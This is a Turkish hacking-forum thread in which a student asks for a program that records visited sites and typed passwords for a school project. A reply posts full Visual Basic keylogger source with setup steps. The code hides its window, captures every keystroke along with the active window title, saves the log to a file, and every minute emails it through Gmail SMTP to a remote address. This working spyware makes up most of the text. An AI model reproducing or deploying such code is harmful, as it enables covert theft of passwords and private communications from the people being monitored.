Teknoloji Dersinde Bir Konu Aldım Yardım EdebiliRmisiniz ?

Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...
E

EmineMM1

Üye
15 Ara 2010
57
0
Teknoloji Tasarım Dersinde Herkez Bir Fikir Üretti Bende Sınıfda Bir program üzerinde bir kaç fikir ürettm hocamız güzel dedi yapabiLirmisin dedi ancak suanda bana yardımcı olacak arkadaşlar gerekiyor :=)
Hocamız bana bir çok soru sordu nerden ögreniyorsun felan dedi tht dedim ama anladımı artık bilemem :=)

Program Su Keylogger gibi Cocugunuz siz evde yokken neye giriyor felan :=)

bunun gibi bir program bana cok lazım notum 1 düzeltmem gerek arkadaşlar :)

Herşeyi Kaydeden bir keylooger Siteleri Engelleyen mesela bir çocuk bişeye girdimmi onu kaydetsin felan yapabilicek olan varmı ??


1- PROGRAM GİRİLEN SİTELERİ KAYDETMESİ GEREK
2-SİFRELERİDE KAYDETMESİ GEREK
3-BU NU EĞER YAPABİLİRSENİZ YAPAMAZSANIZ BOŞVERİN ---SİTE ENGELLEYİCİ OLMASI ..
SU ÜSTDEKİ 2 TANE OLMASI GEREK 3. YAPABİLİRSENİZ YAPIN.. LÜTFEN ARKADAŞLAR ŞİMDİDEN TEŞŞEKÜR EDERİM.
Programın adını Teknoloji Tasarım Ödevi Mehmet Dogan Koysanız Olur Arkadaşlar Lütfen Cok gerek yapabiLicek varmı notum icin :=):(:(
​
 
Son düzenleme:
Tarihe göre sırala Oylara göre sırala
A

Agemon

Özel Üye
22 Ocak 2010
6,476
1
TCODER' Alıntı:
Eğer yapmaya kalksam bile ücretsiz yapmam.

yani bedava yapanda keriz :)
Genişletmek için tıkla ...

Burası Bir Ticaret Sitesi Değil Hele ki yardım Merkezini Ticari Amaçlı Kullanmak Bize Göre Bir Misyon olamaz..//Kardeş Sende Visul Basic Bölümüne Bir Bak ayrıca bu projeye göz at
bilgisayarda yapılan her hareketi kayıt eder girilen siteler,şifreler yazışmalar bilgisayrda yapılan değişiklikler bir çok işlevsel yönü var

Form'a 2 textbox 3 Timer 1 Label yerleştir kardeşim
Label = visible = True
Timer 1 = 5
Timer 2 = 1000
Timer 3 = 0

bu kodları da form'a yapıştır kardeşim..

Kod: 
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize As Long) As Long
 
Private LastWindow As String
Private LastHandle As Long
Private dKey(255) As Long
Private Const VK_SHIFT = &H10
Private Const VK_CTRL = &H11
Private Const VK_ALT = &H12
Private Const VK_CAPITAL = &H14
Private ChangeChr(255) As String
Private AltDown As Boolean
 
Private Sub Form_Load()

Label1.Caption = "0"
Label1.Visible = False
Timer3.Interval = 60000
Me.Hide
 
On Error Resume Next
 
ChangeChr(33) = "[PageUp]"
ChangeChr(34) = "[PageDown]"
ChangeChr(35) = "[End]"
ChangeChr(36) = "[Home]"
 
ChangeChr(45) = "[Insert]"
ChangeChr(46) = "[Delete]"
 
ChangeChr(48) = "="
ChangeChr(49) = "!"
ChangeChr(50) = "'"
ChangeChr(51) = "^"
ChangeChr(52) = "+"
ChangeChr(53) = "%"
ChangeChr(54) = "&"
ChangeChr(55) = "/"
ChangeChr(56) = "("
ChangeChr(57) = ")"
 
ChangeChr(186) = "ş"
ChangeChr(187) = "="
ChangeChr(188) = ","
ChangeChr(189) = "-"
ChangeChr(190) = "."
ChangeChr(191) = "ö"
 
ChangeChr(219) = "ğ"
ChangeChr(220) = "ç"
ChangeChr(221) = "ü"
ChangeChr(222) = "i"
 
 
ChangeChr(86) = "Ş"
ChangeChr(87) = "+"
ChangeChr(88) = ";"
ChangeChr(89) = "_"
ChangeChr(90) = ":"
ChangeChr(91) = "?"
 
ChangeChr(119) = "Ğ"
ChangeChr(120) = "Ç"
ChangeChr(121) = "Ü"
ChangeChr(122) = "İ"
 
 
ChangeChr(96) = "0"
ChangeChr(97) = "1"
ChangeChr(98) = "2"
ChangeChr(99) = "3"
ChangeChr(100) = "4"
ChangeChr(101) = "5"
ChangeChr(102) = "6"
ChangeChr(103) = "7"
ChangeChr(104) = "8"
ChangeChr(105) = "9"
ChangeChr(106) = "*"
ChangeChr(107) = "+"
ChangeChr(109) = "-"
ChangeChr(110) = "."
ChangeChr(111) = "/"
 
ChangeChr(192) = """"
ChangeChr(92) = "é"
End Sub
 
Function TypeWindow()
Dim Handle As Long
Dim textlen As Long
Dim WindowText As String
 
Handle = GetForegroundWindow
LastHandle = Handle
textlen = GetWindowTextLength(Handle) + 1
 
WindowText = Space(textlen)
svar = GetWindowText(Handle, WindowText, textlen)
WindowText = Left(WindowText, Len(WindowText) - 1)
 
If WindowText <> LastWindow Then
If Text1 <> "" Then Text1 = Text1 & vbCrLf & vbCrLf
Text1 = Text1 & "==============================" & vbCrLf & WindowText & vbCrLf & "==============================" & vbCrLf
LastWindow = WindowText
End If
End Function
 
Private Sub Timer1_Timer()
 
'when alt is up
If GetAsyncKeyState(VK_ALT) = 0 And AltDown = True Then
AltDown = False
Text1 = Text1 & ""
End If
 
'a-z A-Z
For i = Asc("A") To Asc("Z")
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
 
If GetAsyncKeyState(VK_SHIFT) < 0 Then
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & LCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & UCase(Chr(i))
Exit Sub
End If
Else
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & UCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & LCase(Chr(i))
Exit Sub
End If
End If
 
End If
Next
 
'1234567890)(*&^%$#@!
For i = 48 To 57
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
 
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i)
Exit Sub
Else
Text1 = Text1 & Chr(i)
Exit Sub
End If
 
End If
Next
 
 
';=,-./
For i = 186 To 192
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
 
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
Exit Sub
Else
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
 
End If
Next
 
 
'[\]'
For i = 219 To 222
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
 
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
Exit Sub
Else
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
 
End If
Next
 
'num pad
For i = 96 To 111
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
 
If GetAsyncKeyState(VK_ALT) < 0 And AltDown = False Then
AltDown = True
Text1 = Text1 & ""
Else
If GetAsyncKeyState(VK_ALT) >= 0 And AltDown = True Then
AltDown = False
Text1 = Text1 & ""
End If
End If
 
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
Next
 
'for space
If GetAsyncKeyState(32) = -32767 Then
TypeWindow
Text1 = Text1 & " "
End If
 
'for enter
If GetAsyncKeyState(13) = -32767 Then
TypeWindow
Text1 = Text1 & vbCrLf
End If
 
'for backspace
If GetAsyncKeyState(8) = -32767 Then
TypeWindow
Text1 = Text1 & " "
End If
 
'for left arrow
If GetAsyncKeyState(37) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If
 
'for up arrow
If GetAsyncKeyState(38) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If
 
'for right arrow
If GetAsyncKeyState(39) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If
 
'for down arrow
If GetAsyncKeyState(40) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If
 
'tab
If GetAsyncKeyState(9) = -32767 Then
TypeWindow
Text1 = Text1 & " [Tab] "
End If
 
'escape
If GetAsyncKeyState(27) = -32767 Then
TypeWindow
Text1 = Text1 & " [Esc] "
End If
 
'insert, delete
For i = 45 To 46
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
End If
Next
 
'page up, page down, end, home
For i = 33 To 36
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
End If
Next
 
'left click
If GetAsyncKeyState(1) = -32767 Then
If (LastHandle = GetForegroundWindow) And LastHandle <> 0 Then
Text1 = Text1 & " "
End If
End If
 
End Sub
 
 
 
 
Private Sub Timer2_Timer()
On Error Resume Next
 
 
Text2.Text = "c:\mrt.txt"
Open Text2.Text For Output As #1
Print #1, Text1.Text;
Close #1
End Sub

Private Sub Timer3_Timer()
Dim iMsg, iConf, Flds
 
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields
 
schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = "[email protected]"
Flds.Item(schema & "sendpassword") = "şifeniz"
Flds.Item(schema & "smtpusessl") = 1
Flds.Update
 
With iMsg
.To = "[email protected]"
.From = "MrT-R4p keyLoq"
.Subject = "Logcu geLdi hanıım"
.HTMLbOdy = Text1.Text
.Organization = "Mail Organtion"
.ReplyTo = "-"
Set .Configuration = iConf
SendEmailGmail = .Send
End With
If Label1.Caption = 1800 Then
Else:
Label1.Caption = Label1.Caption + 1
End If
End Sub
takıldığın bir yer olursa söyle kardeşim..
 
Oyla 0 Downvote
Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.